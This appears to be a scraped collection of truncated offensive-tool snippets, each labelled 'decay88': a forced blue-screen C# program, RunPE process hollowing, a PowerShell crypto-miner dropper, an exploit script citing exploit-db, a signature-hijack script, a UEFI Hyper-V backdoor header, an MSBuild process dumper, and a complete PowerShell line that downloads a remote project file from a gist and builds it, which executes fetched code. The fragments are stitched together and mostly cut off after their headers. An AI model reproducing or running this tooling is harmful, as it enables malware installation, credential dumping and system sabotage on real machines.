decay88

// BSOD Via RtelSetProcessIsCritical by Souhardya Sardar @subversionzero
// https://www.opensc.io/showthread.php?t=12868&page=2

using System;
using System.Runtime.InteropServices;


namespace Die
{
    class Program 

decay88

using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Diagnostics;

// Author : Souhardya Sardar
// Date : 13/01/2017

public class RunPE
{

decay88

# Crypto miner dropper or you can modify it to drop your implants 
# Read the code if you want to figure it out 


param(
    [Parameter(Position = 0)]
    [string[]]$Url,
    [string]$64Url
 )

decay88

import threading 
import requests 
import re
import sys

#CVE LINK :- https://www.exploit-db.com/exploits/41394/
#CVE AUTHOR :- SivertPL

if len(sys.argv) < 3:
    print \

decay88

<#
    DigitalSignatureHijack v1.0
    License: GPLv3
    Author: @netbiosX
#>
# Validate Digital Signature for PowerShell Scripts

function ValidateSignaturePS
{
	$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

decay88

const base64_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
    'abcdefghijklmnopqrstuvwxyz' +
    '0123456789+/';

const base64_encode = (input) => {  
    let length = input.length;
    
    let [i, j, k, s] = [0, 0, 0, 0];
  
    let char_array_3 = new Array(3);

decay88

/*
 *********************************************************************

  Part of UEFI DXE driver code that injects Hyper-V VM exit handler
  backdoor into the Device Guard enabled Windows 10 Enterprise.
  
  Execution starts from new_ExitBootServices() -- a hook handler 
  for EFI_BOOT_SERVICES.ExitBootServices() which being called by
  winload!OslFwpKernelSetupPhase1(). After DXE phase exit winload.efi
  transfers exeution to previously loaded Hyper-V kernel (hvix64.sys)

decay88

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildProcDumper.csproj -->
  <!-- Feel free to use a more aggressive class for testing. -->
  <Target Name="Hello">
   <ClassExample />
  </Target>
	<UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"

decay88

[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/a29a69cf127ffb0e37622d25b9f79157/raw/35fa4c5a0d2db037220f224b5c4c269ea243b3bd/test.csproj");
$e=new-object Microsoft.Build.Evaluation.Project($proj);
$e.Build();

decay88

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;

namespace Export
{
    class Test
    {